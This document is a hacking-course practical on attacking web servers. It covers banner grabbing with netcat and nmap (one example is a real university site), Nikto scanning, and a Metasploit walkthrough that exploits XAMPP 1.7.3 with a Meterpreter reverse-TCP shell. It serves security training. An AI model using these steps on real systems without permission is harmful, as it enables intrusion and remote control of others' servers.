# 11. Hacking Web Servers

## Practical 1: Web Server Enumeration

### Using IDServe:

IDServe is a web server enumeration tool for Windows.

You need to open the IDServe tool by double clicking on it and enter the IP Address or website name then click on Query Server button. It will show the target's web server info.

### Using Netcat in Kali Linux:

In Kali Linux open a terminal and enter command:

nc <target IP or domain> 80 (Hit enter)
GET / HTTP/1.1 (Hit enter)
Host: <target IP or domain> (Hit enter two times)

The above commands will send a standard HTTP request to target server and it will send the response. In the response header you can notice the Server version details.

For example:

nc www.virginia.edu 80
GET / HTTP/1.1
Host:  www.virginia.edu

This will provide it runs on nginx web server.

### Using NMAP:

In NMAP there can be options like Version Scan or Aggression scan that can be used to enumerate the target server. Following can be syntax:

nmap -sV -p80 <target IP>
nmap -A -p80 <target IP>

Note: You can also do it for port 443 in case it is HTTPS.

## Practical 2: Web Server scanning using Nikto

In Kali Linux open the terminal and enter following command:

nikto -host <target IP or domain> -o <filename.html>

For example:

nikto -host scanme.nmap.org -o report.html

Few domains list which are free to scan without any legal issues:

scanme.nmap.org

altoromutual.com

testphp.vulnweb.com

testasp.vulnweb.com

testjsp.vulnweb.com

certifiedhacker.com

## Practical 3: XAMPP 1.7.3 exploit using Metasploit Framework

1. Start Metasploit Framework.
2. In msf> enter command:
search xampp
3. To select the exploit, enter command:
use exploit/windows/http/xampp_webdav_upload_php
4. Set the Payload
set PAYLOAD php/meterpreter/reverse_tcp
5. Set all required options
show options (To see available options)
set RHOST <target IP>
set LHOST <Your Kali IP>
6. exploit